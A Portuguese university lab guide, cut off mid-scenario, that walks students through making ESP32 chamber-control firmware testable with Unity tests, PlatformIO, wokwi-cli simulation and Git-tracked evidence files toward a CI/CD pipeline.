Pular para o conteúdo principal

Laboratório 11

Checklist — testes, simulação e CI/CD do firmware​

  • Lógica da câmara separada em lib/camara_logica (sem Arduino) e o firmware compilando em esp32dev e ci (T1)
  • pio test -e native: pelo menos 15 testes Unity da lógica, todos passando, com relatório JUnit (T2)
  • wokwi-cli: lint do diagrama limpo e os testes Unity rodando no ESP32 simulado (T3)
  • Cenário de integração no wokwi-cli (modos pot e auto) e PWM medido no VCD do analisador lógico (T4)
  • Workflow do GitHub Actions com testes, firmware e simulação, badge no README.md (T5)
  • Notificações no ntfy (sucesso, falha e release) e release com o firmware.bin ao criar a tag v1.0.0 (T6)
  • Previsões P1–P4 respondidas no README.md
  • Nenhum push --force; cada tarefa num commit Tn:
  • Logout do Git e do gh no computador do laboratório
Pontuação

T1…T6 = 100 pts (esta aula não tem desafios): T1 10 · T2 20 · T3 15 · T4 20 · T5 15 · T6 20. O autograder normaliza para 0–10. Vale o commit Tn: mais recente de cada tarefa.

Antes de começar

Confira o ambiente (faça a configuração uma vez por máquina; a verificação, a cada aula):

Verificação rápida das versões instaladas:

git -v & gh --version & code -v & py --version & pio --version & wokwi-cli -V & wsl --version & docker --version

Verificação rápida de autenticação e alias:

git config --get-regexp "^(user|alias)\." & gh auth status & code --list-extensions --profile "ESP32IO"

Adicionar o comando git conferir:

git config --global alias.conferir "!f() { r=$(pwd -W 2>/dev/null || pwd); echo raiz do repositorio: $r; test -z $GIT_PREFIX || echo ATENCAO: o terminal esta em $GIT_PREFIX, fora da raiz. Antes do git add, rode: cd /d $r; test $# -eq 0 && return; for a in $@; do if [ -e $a ]; then echo ok $a; else echo FALTA $a; fi; done; echo == mudancas desde o ultimo commit:; git status --short --ignored -- $@; }; f"

Configuração do ambiente de desenvolvimento​

O Git é a ferramenta de gerenciamento de código-fonte mais utilizada por desenvolvedores profissionais.

  • O Git é um sistema de controle de versão distribuído gratuito e de código aberto, projetado para lidar com tudo, desde projetos pequenos até muito grandes, com rapidez e eficiência.

    winget install --id Git.Git -e --source winget
  • Configurações do git:

    git config --list --show-origin

Antes de começar

Precisa do Docker Desktop aberto e do Python 3. Os comandos são para o Prompt de Comando (cmd) do Windows.

docker desktop start

Atenção: desligue tudo o que estiver rodando no Docker (outros LABs, outros projetos), para não haver conflito de portas nem falta de memória:

for /f "delims=" %i in ('docker compose ls -q') do docker compose -p %i down

Disciplina: ELT85B - IoT Industrial.

1. Crie os atalhos (valem só nesta janela do cmd; abriu outra, rode de novo):

set "IOT_REPO=%USERPROFILE%\ELT85BN21\lab11-grupo-a"
set "IOT_GEN=%IOT_REPO%\docker\gen_iot_aluno.py"
set "IOT_DIR=%IOT_REPO%\docker\lab11-a"

2. Gere o LAB IoT do grupo em docker\lab11-a:

py "%IOT_GEN%" --disciplina elt85b --lab lab11 --grupo a --sem-microbin --sem-fuxa --captura --saida "%IOT_DIR%"

3. Suba os containers (a primeira vez demora):

cd /d "%IOT_DIR%" && docker compose up -d --build

4. Abra o Portal: http://localhost/

start http://localhost/

5. Limpar (voltar ao original) — só os fluxos (mantém os nós instalados e os bancos):

(cd /d "%IOT_DIR%" && docker compose stop lab11-a-nodered && (del /q "data\lab11-a\flows.json" "data\lab11-a\flows_cred.json" "data\lab11-a\.flows*.backup" 2>nul & docker compose start lab11-a-nodered))
Precisa de mais?

Outros comandos (credenciais, logs, atualizar, limpar paleta/FUXA, zerar tudo) na versão completa.


Até o Lab 09, um firmware "funcionava" quando alguém o rodava no Wokwi, girava o potenciômetro, mexia no slider do DHT22 e conferia o serial. Cada mudança no código pedia o mesmo ritual, e ninguém garantia que uma correção hoje não quebrasse o modo auto de ontem.

Nesta aula, o firmware da câmara do Lab 07 passa a ser verificado por máquina, a cada push:

  1. a lógica (setpoint, banda morta, PWM, histerese, comandos, JSON) sai do main.cpp para uma biblioteca sem Arduino e ganha testes unitários que rodam no PC em 1 s (pio test);
  2. o Wokwi vira uma bancada automática: o wokwi-cli roda o firmware sem interface, mexe nos componentes por um cenário YAML e grava o analisador lógico em arquivo;
  3. o GitHub Actions junta tudo num pipeline e, numa tag v*, publica o firmware.bin como release;
  4. o ntfy avisa no celular quando o pipeline fica verde, vermelho ou publica uma versão.

Objetivos​

  • Separar decisão de periférico para tornar o firmware testável sem hardware.
  • Escrever testes unitários com o Unity e rodá-los com o pio test, no PC e no ESP32.
  • Usar o wokwi-cli: lint do diagrama, --expect-text/--fail-text, cenários (set-control, write-serial, wait-serial, expect-pin) e VCD.
  • Montar um pipeline de CI/CD no GitHub Actions: jobs, dependências, cache, artefatos, secrets e release.
  • Notificar o resultado com o ntfy, sem expor tokens nem abrir brecha para injeção de comandos.

Material​

  • VS Code + PlatformIO (o pio no terminal cmd do VS Code) + extensão Wokwi.
  • wokwi-cli (a versão mais recente) e um token do Wokwi CI (wokwi.com/dashboard/ci). Cada simulação gasta minutos da cota do plano (confira no painel): não deixe o CI rodando em loop.
  • Uma conta no GitHub, com o repositório do grupo.
  • ntfy: o app no celular (Android/iOS) ou o navegador. Use o servidor do LAB IoT, com o tópico e o token do grupo, ou o ntfy.sh público, com um tópico difícil de adivinhar.
O que roda onde
TesteOnde rodaPrecisa deTempo
pio test -e nativePC / runner do GitHubsó o gcc~1 s
wokwi-cli lintPC / runnernada (nem token)~1 s
Unity no ESP32 simuladoservidores do Wokwitoken do Wokwi~10 s
Cenário de integração + VCDservidores do Wokwitoken do Wokwi~30 s

Os testes no PC são a base: rápidos, sem cota e sem rede. A simulação pega o que o PC não vê: o compilador Xtensa, o LEDC, o ADC e a temporização do firmware inteiro.

Clonar o repositório do grupo​

1. Crie e entre na pasta-mãe da disciplina:

mkdir "%USERPROFILE%\ELT85BN21" & cd /d "%USERPROFILE%\ELT85BN21"

2. Clone e entre no repositório do laboratório:

git clone https://github.com/ELT85B-N21-2026-2/lab11-grupo-a.git && cd lab11-grupo-a

3. Abra o conteúdo do repositório no perfil ESP32IO do VS Code e compile:

cd /d "%USERPROFILE%\ELT85BN21\lab11-grupo-a" && code . --profile "ESP32IO"

Repositório do Grupo A para Laboratório 11:

  1. Copie o link do repositório acima.
  2. Abra a página de envio da atividade no Moodle (botão abaixo).
  3. Clique em Adicionar envio.
  4. Cole o link no campo Texto online.
  5. Clique em Salvar mudanças.
  6. Confira se o status mudou para Enviado para avaliação.
Abrir envio no Moodle
Avaliação por commits

Cada cartão Ponto de commit é uma tarefa: faça-a, copie o comando do cartão e rode. A mensagem começa com o código (T1:, T2:…) — é como a correção identifica sua entrega. Um commit por tarefa; pode refazer (vale o mais recente); e não esqueça o git push. Detalhes em Como funciona a avaliação.

Mapa de tarefas — 6 tarefas · 100 pts

O repositório nasce do lab11-template, com o firmware final do Lab 07 em src/main.cpp:

Estrutura de Arquivos do Projeto
📂 lab11-grupo-x/
  • ├── 🔧platformio.ini👈 Edite Aqui
  • ├── 📂src
    • └── 📄main.cpp👈 Edite Aqui
  • ├── 📂lib
    • └── 📂camara_logica
      • ├── 📄camara_logica.h👈 Verificar
      • └── 📄camara_logica.cpp👈 Criar Aqui
  • ├── 📂test
    • ├── 📂test_logica
      • └── 📄test_logica.cpp👈 Criar Aqui
    • └── 📂test_alvo
      • └── 📄test_alvo.cpp👈 Criar Aqui
  • ├── 🔧diagram.json👈 Edite Aqui
  • ├── 🔧wokwi.toml👈 Verificar
  • ├── 📂ci
    • ├── 🚀cenario_integracao.yaml👈 Criar Aqui
    • ├── 📄verificar_pwm.py👈 Verificar
    • ├── 📄resumo_junit.py👈 Verificar
    • └── 📄notificar.sh👈 Verificar
  • ├── 📂.github
    • └── 📂workflows
      • └── 🚀ci.yml👈 Criar Aqui
  • ├── 📄.gitignore👈 Verificar
  • ├── 📂evidencias
    • ├── 📄t1-build.txt👈 Criar Aqui
    • ├── 📄t2-pio-test.txt👈 Criar Aqui
    • ├── 📄t3-lint.txt👈 Criar Aqui
    • ├── 📄t3-alvo-test_logica.txt👈 Criar Aqui
    • ├── 📄t3-alvo-test_alvo.txt👈 Criar Aqui
    • ├── 📄t4-cenario.txt👈 Criar Aqui
    • ├── 📄t4-pwm.txt👈 Criar Aqui
    • ├── 📄t5-actions.png👈 Criar Aqui
    • ├── 📄t6-ntfy.png👈 Criar Aqui
    • └── 📄t6-release.png👈 Criar Aqui
  • └── 📝README.md👈 Edite Aqui
Tópicos do Lab 11

O firmware normal continua falando MQTT, agora em elt85b/lab11/grupo-x/ (dht, adc, pwm, status), com os comandos em elt85b/lab11/grupo-x/cmd/<nome>: modo, aquecedor, ventilador e intervalo. O firmware de CI (env:ci) não usa rede: recebe os mesmos comandos pela serial, uma linha <nome> <valor> (modo auto, aq 50, intervalo 2).


Parte 1 — Lógica testável​

1.1 Decisão × periférico​

No main.cpp do Lab 07, a regra da histerese estava misturada com analogRead, ledcWrite e mqtt.publish. Para testar a regra, era preciso um ESP32, um DHT22 e um broker. A saída é separar:

  • lógica: funções puras, que recebem números e devolvem números ou texto. Não sabem o que é um pino. Ficam em lib/camara_logica e compilam em qualquer computador;
  • periférico: lê o ADC e o DHT22, chama a lógica e escreve no LEDC e no MQTT. Fica no main.cpp e só existe no ESP32.

O contrato já está no repositório. Você escreve o .cpp:

📂 lab11-grupo-x/
  • └── 📂lib
    • └── 📂camara_logica
      • └── 📄camara_logica.h👈 Verificar
git conferir lib/camara_logica/camara_logica.h
lib/camara_logica/camara_logica.h (trecho)
namespace camara {
constexpr float SP_MIN = 20.0f, SP_MAX = 55.0f; // °C
constexpr int ADC_MAX = 4095; // 12 bits
constexpr float HISTERESE = 0.5f; // ±0,5 °C
enum Modo { MODO_POT = 0, MODO_REMOTO = 1, MODO_AUTO = 2 };

float adcParaSetpoint(int raw); // 20..55 °C em passos de 0,5 (satura)
bool mudouAlemDaBanda(int raw, int ultimoAceito, int banda);
uint32_t dutyDe(float pct); // 0..100 % -> 0..255 (satura)

struct Saida { float aq; float ve; const char *estado; };
Saida decidir(Modo modo, int adcRaw, float t, float sp, float aqRemoto, float veRemoto,
bool &aquecendo); // 'aquecendo' = memória da histerese
int interpretarModo(const char *txt); // "pot"|"remoto"|"auto" -> 0..2; senão -1
bool interpretarPercentual(const char *txt, float &pct); // "0".."100"
int formatarPwm(char *buf, size_t tam, Modo modo, const Saida &s, float sp, float t);
}

Leve para camara_logica.cpp o que o Lab 07 já fazia, sem #include <Arduino.h>: use <math.h> (roundf, lroundf, isnan), <stdio.h> (snprintf), <stdlib.h> (strtof) e <ctype.h> (tolower). decidir() é o antigo controlar() sem os ledcWrite.

1.2 O main.cpp passa a delegar​

src/main.cpp (trechos)
#include "camara_logica.h"
using namespace camara;

void lerAdc() {
// ... média de 16 leituras, como no Lab 07 ...
setpoint = adcParaSetpoint(adcRaw);
}

void controlar() {
Saida s = decidir(modo, adcRaw, ultimaT, setpoint, aqRemoto, veRemoto, aquecendo);
if (s.aq == atual.aq && s.ve == atual.ve && strcmp(s.estado, atual.estado) == 0) return;
atual = s;
pwmEscrever(AQ_PIN, AQ_CANAL, dutyDe(atual.aq));
pwmEscrever(VE_PIN, VE_CANAL, dutyDe(atual.ve));
publicarPwm(); // formatarPwm(...) + publicar + Serial "[PWM] ..."
telaSuja = true;
}

1.3 Firmware de CI: sem rede, comandos pela serial​

Um teste automático não pode depender do Wi-Fi do Wokwi nem do broker.hivemq.com: se o broker cair, o CI fica vermelho sem o código ter mudado. Com -D SEM_REDE, o firmware pula o Wi-Fi e o MQTT e lê os comandos pela serial:

src/main.cpp (trechos)
#ifndef SEM_REDE
#include <WiFi.h>
#include <PubSubClient.h>
#endif

// um só lugar para os comandos: chamado pelo callback do MQTT E pela serial
void executarComando(const char *nome, const char *valor) {
if (strcmp(nome, "modo") == 0) {
int novo = interpretarModo(valor);
if (novo < 0) { Serial.println("[CMD] modo invalido (use pot, remoto ou auto)"); return; }
modo = (Modo)novo; aquecendo = false; controlar();
} else if (strcmp(nome, "aquecedor") == 0 || strcmp(nome, "aq") == 0 /* ... */) {
// interpretarPercentual(valor, v) ...
} // ... "intervalo"
}

void lerSerial() { // junta caracteres até '\r\n' e separa "<nome> <valor>"
// ... strchr(linha, ' ') -> executarComando(linha, esp + 1)
}

void setup() {
// ... ADC, LEDC, DHT22, OLED como no Lab 07 ...
#ifndef SEM_REDE
conectarWiFi(); mqtt.setServer(MQTT_HOST, MQTT_PORTA); /* ... */ conectarMQTT();
#endif
Serial.println("[BOOT] pronto"); // o cenário do wokwi-cli espera por esta linha
}

E o platformio.ini ganha três ambientes:

📂 lab11-grupo-x/
  • └── 🔧platformio.ini👈 Verificar
git conferir platformio.ini
platformio.ini
[platformio]
default_envs = esp32dev

[env]
test_framework = unity

[esp32]
platform = espressif32 ; sem versão: a mais recente
board = esp32dev
framework = arduino
monitor_speed = 115200
lib_deps =
adafruit/DHT sensor library
adafruit/Adafruit Unified Sensor
knolleary/PubSubClient
adafruit/Adafruit SSD1306
adafruit/Adafruit GFX Library

[env:esp32dev]
extends = esp32

[env:ci]
extends = esp32
build_flags = -D SEM_REDE ; não conecta ao Wi-Fi nem ao broker
test_ignore = * ; este ambiente é só para o cenário do wokwi-cli

[env:native]
platform = native
build_flags = -std=gnu++17
test_ignore = test_alvo ; testes que precisam de periférico do ESP32
lib_compat_mode = off
Sempre a versão mais recente

A plataforma e as bibliotecas ficam sem versão: cada build usa a mais recente. O lado bom é receber correções sem esforço; o lado ruim é que o mesmo commit pode compilar diferente em dias diferentes. É aí que o CI ajuda: se uma atualização quebrar algo, o pipeline fica vermelho, e o log mostra as versões usadas (as linhas PLATFORM: e PACKAGES: do pio run).

Terminal do VS Code (cmd)
if not exist evidencias mkdir evidencias
pio run -e esp32dev -e ci > evidencias\t1-build.txt 2>&1
type evidencias\t1-build.txt
evidencias/t1-build.txt (final)
Environment Status Duration
------------- -------- ------------
esp32dev SUCCESS 00:00:41.120
ci SUCCESS 00:00:23.870

O firmware de CI fica bem menor (sem a pilha Wi-Fi e o MQTT), e por isso também simula mais rápido. Compare o RAM:/Flash: dos dois no log.

📂 lab11-grupo-x/
  • ├── 📂lib
    • └── 📂camara_logica
      • └── 📄camara_logica.cpp👈 Verificar
  • ├── 📂src
    • └── 📄main.cpp👈 Verificar
  • ├── 🔧platformio.ini👈 Verificar
  • └── 📂evidencias
    • └── 📄t1-build.txt👈 Criar Aqui
git conferir lib/camara_logica/camara_logica.cpp src/main.cpp platformio.ini evidencias/t1-build.txt
Ponto de commit · T1 (10 pts) #

Lógica testável em lib/camara_logica

1. Conferir os arquivos
git conferir lib/camara_logica/camara_logica.cpp src/main.cpp platformio.ini evidencias/t1-build.txt
2. Commit T1 e push
git add lib/camara_logica/camara_logica.cpp src/main.cpp platformio.ini evidencias/t1-build.txt && git commit -m "T1: Lógica testável em lib/camara_logica" && git push
3. Conferir o commit e o envio
git status -sb && git log -1 --stat --oneline

Só faça o commit se o passo 1 não mostrar ATENCAO (terminal fora da raiz do repositório) nem FALTA. Nas mudanças, ?? é arquivo novo e M, modificado: os dois entram no commit. !! é arquivo bloqueado pelo .gitignore, e o git add vai falhar. Um arquivo que não aparece ali já está no Git e não mudou desde o último commit. No passo 3, a primeira linha não pode ter [ahead (commit ainda não enviado), e a lista tem de trazer os arquivos da T1.


Parte 2 — pio test no PC​

2.1 Unity em 30 segundos​

O Unity é um framework de testes em C. Um teste é uma função void com asserções; RUN_TEST a executa e conta; UNITY_END() devolve o número de falhas.

AsserçãoPassa quando
TEST_ASSERT_EQUAL_FLOAT(esperado, obtido)iguais (com tolerância de float)
TEST_ASSERT_EQUAL_UINT32 / _INTinteiros iguais
TEST_ASSERT_EQUAL_STRINGstrings iguais
TEST_ASSERT_TRUE / _FALSEcondição verdadeira / falsa
TEST_ASSERT_INT_WITHIN(delta, esp, obt)|esp − obt| ≤ delta
..._MESSAGE(..., "texto")idem, com mensagem extra na falha

O pio test procura pastas test/test_*, compila cada uma como um programa separado, junto com as bibliotecas de lib/, e lê o resultado. No env:native, o "programa" roda no seu PC.

2.2 Os testes​

📂 lab11-grupo-x/
  • └── 📂test
    • └── 📂test_logica
      • └── 📄test_logica.cpp👈 Verificar
git conferir test/test_logica/test_logica.cpp
test/test_logica/test_logica.cpp (estrutura e alguns testes)
#include <math.h>
#include <string.h>
#include <unity.h>
#include "camara_logica.h"
using namespace camara;

void setUp() {}
void tearDown() {}

void test_setpoint_extremos_e_meio() {
TEST_ASSERT_EQUAL_FLOAT(20.0f, adcParaSetpoint(0));
TEST_ASSERT_EQUAL_FLOAT(55.0f, adcParaSetpoint(4095));
TEST_ASSERT_EQUAL_FLOAT(37.5f, adcParaSetpoint(2048));
}

void test_setpoint_passos_de_meio_grau_e_monotonico() {
float anterior = adcParaSetpoint(0);
for (int raw = 0; raw <= 4095; raw++) {
float sp = adcParaSetpoint(raw);
TEST_ASSERT_EQUAL_FLOAT_MESSAGE(roundf(sp * 2) / 2, sp, "setpoint fora do passo de 0,5");
TEST_ASSERT_TRUE_MESSAGE(sp >= anterior, "setpoint diminuiu com o ADC subindo");
anterior = sp;
}
}

void test_auto_sequencia_do_lab07() {
// SP 37,5 °C; temperaturas do experimento da T6 do Lab 07 (+ 37,2 °C)
struct { float t; float aq; float ve; const char *estado; } passos[] = {
{24.5f, 100, 0, "AQUECENDO"},
{37.4f, 100, 0, "AQUECENDO"}, // dentro da histerese: continua aquecendo
{38.2f, 0, 0, "ESTAVEL"},
{41.0f, 0, 63, "RESFRIANDO"}, // (41 - 38,5) x 25 = 62,5 -> 63 %
{37.8f, 0, 0, "ESTAVEL"}, // acima de SP - 0,5: não religa
{37.2f, 0, 0, "ESTAVEL"}, // abaixo do SP, mas dentro da histerese (sem ela, religaria)
{36.8f, 100, 0, "AQUECENDO"},
};
bool aquecendo = false;
for (auto &p : passos) {
Saida s = decidir(MODO_AUTO, 0, p.t, 37.5f, 0, 0, aquecendo);
TEST_ASSERT_EQUAL_FLOAT(p.aq, s.aq);
TEST_ASSERT_EQUAL_FLOAT(p.ve, s.ve);
TEST_ASSERT_EQUAL_STRING(p.estado, s.estado);
}
}

void test_json_pwm() {
char buf[200];
Saida s{100, 0, "AQUECENDO"};
formatarPwm(buf, sizeof(buf), MODO_AUTO, s, 37.5f, 24.5f);
TEST_ASSERT_EQUAL_STRING(
"{\"modo\":\"auto\",\"estado\":\"AQUECENDO\",\"aq\":100,\"ve\":0,"
"\"aq_duty\":255,\"ve_duty\":0,\"sp\":37.5,\"t\":24.5}",
buf);
}

// ... os demais testes ...

int rodarTestes() {
UNITY_BEGIN();
RUN_TEST(test_setpoint_extremos_e_meio);
RUN_TEST(test_setpoint_passos_de_meio_grau_e_monotonico);
RUN_TEST(test_auto_sequencia_do_lab07);
RUN_TEST(test_json_pwm);
// ...
return UNITY_END();
}

#ifdef ARDUINO // o mesmo arquivo roda no ESP32 (T3)
#include <Arduino.h>
void setup() { delay(1000); rodarTestes(); }
void loop() {}
#else
int main() { return rodarTestes(); }
#endif

Requisito: pelo menos 15 testes, cobrindo:

FunçãoO que testar
adcParaSetpointextremos, meio, saturação abaixo de 0 e acima de 4095, passo de 0,5, monotonia
mudouAlemDaBandaexatamente na banda (não muda), 1 acima, para baixo, primeira leitura
dutyDe0, 100, 50 (arredondamento), saturação
decidirpot, remoto (com saturação), a sequência do Lab 07, SEM DHT, ventilador em 100 %
interpretarModoos 3 modos, maiúsculas, vazio, prefixo ("au"), palavra maior, nullptr
interpretarPercentualválidos, "12.5\r\n", fora da faixa, lixo, "50abc", vazio
formatarPwmJSON exato, t = NAN vira null, buffer pequeno não estoura

O comando pio test -e native --junit-output-path relatorio-native.xml executa os testes automatizados do seu projeto PlatformIO diretamente no seu computador (sem precisar de uma placa física) e salva o resultado em um arquivo XML compatível com ferramentas de integração contínua (CI/CD).

Terminal do VS Code (cmd)
pio test -e native --junit-output-path relatorio-native.xml

Executa os testes do PlatformIO no ambiente native e salve toda a saída (sucessos e erros) em um arquivo de texto para servir como evidência ou log.

Terminal do VS Code (cmd)
pio test -e native > evidencias\t2-pio-test.txt 2>&1

Exiba o conteúdo do arquivo de texto t2-pio-test.txt (localizado dentro da pasta evidencias) diretamente na tela do terminal do Windows (Prompt de Comando/CMD).

Terminal do VS Code (cmd)
type evidencias\t2-pio-test.txt
evidencias/t2-pio-test.txt (final)
test/test_logica/test_logica.cpp:187: test_json_buffer_pequeno_nao_estoura [PASSED]
---------------- native:test_logica [PASSED] Took 0.59 seconds ----------------

=================================== SUMMARY ===================================
Environment Test Status Duration
------------- ----------- -------- ------------
native test_logica PASSED 00:00:00.590
================= 17 test cases: 17 succeeded in 00:00:00.590 =================
Veja o teste falhar

Um teste que nunca falhou pode não testar nada. Troque, de propósito, return roundf(sp * 2.0f) / 2.0f; por return roundf(sp); em adcParaSetpoint e rode de novo. Qual teste falha, com que mensagem? O pio test termina com código 1, e é isso que vai pintar o CI de vermelho na T5. Desfaça a mudança antes do commit.

Preveja antes de rodar

P1: um colega escreveu / 4096.0f em vez de / 4095 em adcParaSetpoint. Quais dos seus testes falham? Escreva a previsão e depois rode. Se nenhum falhar, descubra por quê (para quantos dos 4096 valores do ADC o resultado muda?) e escreva um teste que pegue esse erro.

📂 lab11-grupo-x/
  • ├── 📂test
    • └── 📂test_logica
      • └── 📄test_logica.cpp👈 Verificar
  • └── 📂evidencias
    • └── 📄t2-pio-test.txt👈 Criar Aqui
git conferir test/test_logica/test_logica.cpp evidencias/t2-pio-test.txt
Ponto de commit · T2 (20 pts) #

pio test no PC

1. Conferir os arquivos
git conferir test/test_logica/test_logica.cpp evidencias/t2-pio-test.txt
2. Commit T2 e push
git add test/test_logica/test_logica.cpp evidencias/t2-pio-test.txt && git commit -m "T2: pio test no PC" && git push
3. Conferir o commit e o envio
git status -sb && git log -1 --stat --oneline

Só faça o commit se o passo 1 não mostrar ATENCAO (terminal fora da raiz do repositório) nem FALTA. Nas mudanças, ?? é arquivo novo e M, modificado: os dois entram no commit. !! é arquivo bloqueado pelo .gitignore, e o git add vai falhar. Um arquivo que não aparece ali já está no Git e não mudou desde o último commit. No passo 3, a primeira linha não pode ter [ahead (commit ainda não enviado), e a lista tem de trazer os arquivos da T2.


Parte 3 — wokwi-cli: lint e testes no ESP32 simulado​

3.1 Configurar o token​

  • Verifique a versão instalada:
Terminal do VS Code (cmd), na raiz do repositório
wokwi-cli --version
Terminal do VS Code (cmd), na raiz do repositório
setx WOKWI_CLI_TOKEN "wok_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"

O set vale só nesta janela do terminal; escreva sem aspas e sem espaços em volta do =. Para atualizar o wokwi-cli, baixe de novo com o mesmo curl. O .gitignore já ignora o executável.

O token é uma senha

Nunca coloque o token num arquivo do repositório, nem no ci.yml. No GitHub, ele vai num Secret (T5). Quem tem o token gasta a sua cota.

3.2 Lint do diagrama (sem token)​

Execute a ferramenta de análise estática (linter) do Wokwi CLI no diretório atual para validar a configuração do seu projeto de simulação (como conexões de pinos e o arquivo diagram.json), tratando qualquer aviso (warning) como um erro crítico, e salva o resultado completo em um arquivo de texto.

Terminal do VS Code (cmd)
wokwi-cli lint --warnings-as-errors . > evidencias\t3-lint.txt 2>&1
Terminal do VS Code (cmd)
type evidencias\t3-lint.txt

Com o --warnings-as-errors, qualquer aviso vira erro: a saída tem de trazer só a nota info sobre a placa. Se aparecer algo mais, corrija o diagram.json. Depois, mude o valor inicial do potenciômetro para 0: o teste de integração (T4) precisa começar de um estado conhecido.

diagram.json (as duas peças, como devem ficar)
{ "type": "wokwi-potentiometer", "id": "pot1", "top": 160, "left": -150, "attrs": { "value": "0" } },
{ "type": "wokwi-logic-analyzer", "id": "logic1", "top": 300, "left": 300, "attrs": { "filename": "lab11-pwm" } }

(Mantenha top e left como estão no seu arquivo.)

3.3 Os testes Unity no ESP32 simulado​

O mesmo test_logica.cpp também roda no ESP32, onde mudam o compilador (Xtensa), o tamanho de long e a FPU. E uma segunda pasta testa o que só existe lá, o LEDC e o ADC:

📂 lab11-grupo-x/
  • └── 📂test
    • └── 📂test_alvo
      • └── 📄test_alvo.cpp👈 Verificar
git conferir test/test_alvo/test_alvo.cpp
test/test_alvo/test_alvo.cpp (trecho)
void test_ledc_aquecedor_5hz() {
uint32_t f = pwmIniciar(AQ_PIN, 0, 5);
TEST_ASSERT_UINT32_WITHIN(1, 5, f); // o LEDC consegue gerar 5 Hz em 8 bits
pwmEscrever(AQ_PIN, 0, dutyDe(50));
TEST_ASSERT_EQUAL_UINT32(128, pwmLer(AQ_PIN, 0)); // ledcRead() devolve o duty escrito
}

void test_ledc_ventilador_25khz() {
uint32_t f = pwmIniciar(VE_PIN, 1, 25000);
TEST_ASSERT_UINT32_WITHIN(250, 25000, f); // ±1 %
pwmEscrever(VE_PIN, 1, dutyDe(63));
TEST_ASSERT_EQUAL_UINT32(161, pwmLer(VE_PIN, 1));
}

void test_adc_do_potenciometro() {
analogReadResolution(12);
analogSetPinAttenuation(POT_PIN, ADC_11db);
int raw = analogRead(POT_PIN);
TEST_ASSERT_INT_WITHIN(2048, 2047, raw); // 0..4095
TEST_ASSERT_TRUE(adcParaSetpoint(raw) >= SP_MIN && adcParaSetpoint(raw) <= SP_MAX);
}
// pwmIniciar/pwmEscrever/pwmLer: os mesmos #if ESP_ARDUINO_VERSION_MAJOR >= 3 do Lab 07
// (no core 2.x, ledcSetup() devolve a frequência obtida; no 3.x, ledcReadFreq(pino))

O pio test compila o teste para o ESP32 e para (não há placa para gravar). O wokwi-cli roda o .elf e decide pelo texto do serial:

Terminal do VS Code (cmd)
pio test -e esp32dev -f test_logica --without-uploading --without-testing
Terminal do VS Code (cmd)
wokwi-cli --elf .pio/build/esp32dev/firmware.elf --timeout 30000 --expect-text "Tests 0 Failures" --fail-text ":FAIL" --serial-log-file evidencias/t3-alvo-test_logica.txt .
Terminal do VS Code (cmd)
pio test -e esp32dev -f test_alvo --without-uploading --without-testing
Terminal do VS Code (cmd)
wokwi-cli --elf .pio/build/esp32dev/firmware.elf --timeout 30000 --expect-text "Tests 0 Failures" --fail-text ":FAIL" --serial-log-file evidencias/t3-alvo-test_alvo.txt .
Saída esperada (test_alvo)
Wokwi CLI v0.x.x (...)
Connected to Wokwi Simulation API <versão>
Starting simulation...
test/test_alvo/test_alvo.cpp:82:test_ledc_aquecedor_5hz:PASS
test/test_alvo/test_alvo.cpp:83:test_ledc_ventilador_25khz:PASS
test/test_alvo/test_alvo.cpp:84:test_adc_do_potenciometro:PASS
test/test_alvo/test_alvo.cpp:85:test_float_no_xtensa_igual_ao_pc:PASS

-----------------------
4 Tests 0 Failures 0 Ignored

Expected text found: "Tests 0 Failures"
TEST PASSED.
  • --elf troca o firmware do wokwi.toml (que aponta para o firmware normal) pelo programa de teste.
  • --expect-text encerra com sucesso quando o texto aparece; --fail-text encerra com erro se o seu texto aparecer antes. O Unity escreve :FAIL em cada teste que falha.
  • Se nada disso aparecer até o --timeout, o wokwi-cli sai com o código 42.
Preveja antes de rodar

P2: formatarPwm faz (unsigned long)dutyDe(...) antes do %lu. No PC (x86-64), quantos bytes tem um long? E no ESP32? E o uint32_t: é unsigned int ou unsigned long em cada um? O que poderia dar errado se o cast não existisse, e por que um teste que passa no PC ainda assim precisa rodar no ESP32?

📂 lab11-grupo-x/
  • ├── 📂test
    • └── 📂test_alvo
      • └── 📄test_alvo.cpp👈 Verificar
  • ├── 🔧diagram.json👈 Verificar
  • └── 📂evidencias
    • ├── 📄t3-lint.txt👈 Criar Aqui
    • ├── 📄t3-alvo-test_logica.txt👈 Criar Aqui
    • └── 📄t3-alvo-test_alvo.txt👈 Criar Aqui
git conferir test/test_alvo/test_alvo.cpp diagram.json evidencias/t3-lint.txt evidencias/t3-alvo-test_logica.txt evidencias/t3-alvo-test_alvo.txt
Ponto de commit · T3 (15 pts) #

wokwi-cli: lint e testes no ESP32 simulado

1. Conferir os arquivos
git conferir test/test_alvo/test_alvo.cpp diagram.json evidencias/t3-lint.txt evidencias/t3-alvo-test_logica.txt evidencias/t3-alvo-test_alvo.txt
2. Commit T3 e push
git add test/test_alvo/test_alvo.cpp diagram.json evidencias/t3-lint.txt evidencias/t3-alvo-test_logica.txt evidencias/t3-alvo-test_alvo.txt && git commit -m "T3: wokwi-cli: lint e testes no ESP32 simulado" && git push
3. Conferir o commit e o envio
git status -sb && git log -1 --stat --oneline

Só faça o commit se o passo 1 não mostrar ATENCAO (terminal fora da raiz do repositório) nem FALTA. Nas mudanças, ?? é arquivo novo e M, modificado: os dois entram no commit. !! é arquivo bloqueado pelo .gitignore, e o git add vai falhar. Um arquivo que não aparece ali já está no Git e não mudou desde o último commit. No passo 3, a primeira linha não pode ter [ahead (commit ainda não enviado), e a lista tem de trazer os arquivos da T3.


Parte 4 — Cenário de integração e analisador lógico​

Os testes unitários verificam cada função. Falta verificar o firmware inteiro: setup(), os Ticker, a banda morta do ADC, o DHT22, a serial e o LEDC funcionando juntos. É o que um cenário faz: uma lista de passos que o wokwi-cli executa enquanto o firmware roda.

PassoO que fazExemplo
wait-serialespera um trecho na saída serialwait-serial: '[BOOT] pronto'
set-controlmexe num componentepart-id: pot1, control: position, value: 0.5
write-serialdigita na serial do ESP32write-serial: "modo auto\r\n"
expect-pinconfere o nível de um pino agorapart-id: esp, pin: '25', value: 0
delayespera (com unidade!)delay: 1500ms

Cada passo tem um comando (e um name opcional). O potenciômetro aceita position de 0,0 a 1,0; o DHT22, temperature (°C).

📂 lab11-grupo-x/
  • └── 📂ci
    • └── 🚀cenario_integracao.yaml👈 Verificar
git conferir ci/cenario_integracao.yaml
ci/cenario_integracao.yaml
name: Camara - modos pot e auto
version: 1
author: ELT85B

# O diagram.json começa com o potenciômetro em 0 e o DHT22 em 24,5 °C: estado conhecido.
steps:
- name: Boot sem rede
wait-serial: "[BOOT] pronto"

